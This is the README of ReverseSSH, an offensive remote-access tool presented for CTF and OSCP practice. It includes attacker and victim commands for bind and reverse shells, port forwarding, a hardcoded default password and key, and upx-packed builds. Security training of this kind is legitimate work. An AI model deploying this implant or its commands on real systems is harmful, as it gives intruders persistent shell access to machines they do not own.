ReverseSSH

A statically-linked ssh server with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar.

Has been developed and was extensively used during OSCP exam preparation.

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Features

Catching a reverse shell with netcat is cool, sure, but who hasn't accidentally closed a reverse shell with a keyboard interrupt due to muscle memory? Besides their fragility, such shells are also often missing convenience features such as fully interactive access, TAB-completion or history.

Instead you can go the way to simply deploy a lightweight ssh server (<1.5MB) onto the target and use additional commodities such as file transfer and port forwarding!

ReverseSSH tries to bridge the gap between initial foothold on a target and full local privilege escalation. Its main strengths are the following:

• Fully interactive shell access (check windows caveats below)
• File transfer via sftp
• Local / remote / dynamic port forwarding
• Supports Unix and Windows operating systems

Windows caveats

A fully interactive powershell on windows relies on Windows Pseudo Console ConPTY and thus requires at least Win10 Build 17763. On earlier versions it still works, but you only get a somewhat interactive, generic reverse shell.

You can still improve it for older windows versions by dropping ssh-shellhost.exe from OpenSSH for Windows in the same directory as reverse-ssh and then use flag -s ssh-shellhost.exe. This will pipe all traffic through ssh-shellhost.exe, which mimics a pty and transforms all virtual terminal codes such that windows can understand.

Requirements

Simply executing the provided binaries only relies on golang system requirements.

In short:

• Linux: kernel version 2.6.23 and higher
• Windows: Windows Server 2008R2 and higher or Windows 7 and higher

Compiling additionally requires the following:

• golang version 1.15
• optionally upx for compression (e.g. apt install upx-ucl)

Usage

reverseSSH v1.0.0-alpha  Copyright (C) 2021  Ferdinor <[email protected]>

Usage: reverse-ssh [options] [<user>@]<target>

Examples:
  Bind:
        reverse-ssh
        reverse-ssh -v -l :4444
  Reverse:
        reverse-ssh 192.168.0.1
        reverse-ssh [email protected]
        reverse-ssh -p 31337 192.168.0.1
        reverse-ssh -v -b 0 [email protected]

Options:
        -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
                for windows this can only be used to give a path to 'ssh-shellhost.exe' to
                enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
        -l, Bind scenario only: listen at this address:port (default: :31337)
        -p, Reverse scenario only: ssh port at home (default: 22)
        -b, Reverse scenario only: bind to this port after dialling home (default: 8888)
        -v, Emit log output

<target>
        Optional target which enables the reverse scenario. Can be prepended with
        <user>@ to authenticate as a different user than 'reverse' while dialling home.

Credentials:
        Accepting all incoming connections from any user with either of the following:
         * Password "letmeinbrudipls"
         * PubKey   "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"

Once reverse-ssh is running, you can connect with any username and the default password letmeinbrudipls, the ssh key or whatever you specified during compilation. After all, it is just an ssh server:

# Simple, interactive shell access
$ssh -p <RPORT> <RHOST>

# Full-fledged file transfers
$sftp -P <RPORT> <RHOST>

# Dynamic port forwarding as SOCKS proxy
$ssh -p <RPORT> -D 9050 <RHOST>

For even more convenience, add the following to your ~/.ssh/config, copy the ssh private key to ~/.ssh/ and simply call ssh target or sftp target afterwards:

Host target
        Hostname 127.0.0.1
        Port 8888
        IdentityFile ~/.ssh/id_reverse-ssh
        IdentitiesOnly yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null

Simple bind shell scenario

# Victim
$./reverse-ssh

# Attacker (default password: letmeinbrudipls)
$ssh -p 31337 <LHOST>

Simple reverse shell scenario

# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
attacker$./reverse-ssh -l :<LPORT>

# On victim
victim$./reverse-ssh -p <LPORT> <LHOST>
# or in case of an ssh daemon listening at port 22 with user/pass authentication
victim$./reverse-ssh <USER>@<LHOST>

# On attacker (default password: letmeinbrudipls)
attacker$ssh -p 8888 127.0.0.1
# or with ssh config from above
attacker$ssh target

In the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22. Just prepend <USER>@ and provide the password once asked to do so. Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet...

Build instructions

Make sure to install the above requirements such as golang in a matching version and set it up correctly. Afterwards, you can compile with make, which will create static binaries in bin. Use make compressed to pack the binaries with upx to further reduce their size.

$make

# or to additionally created binaries packed with upx
$make compressed

You can also specify a different default shell (RS_SHELL), a personalized password (RS_PASS) or an authorized key (RS_PUB) when compiling:

$ssh-keygen -t ed25519 -f id_reverse-ssh

$RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed

Contribute

Is a mind-blowing feature missing? Anything not working as intended?

Create an issue or pull request!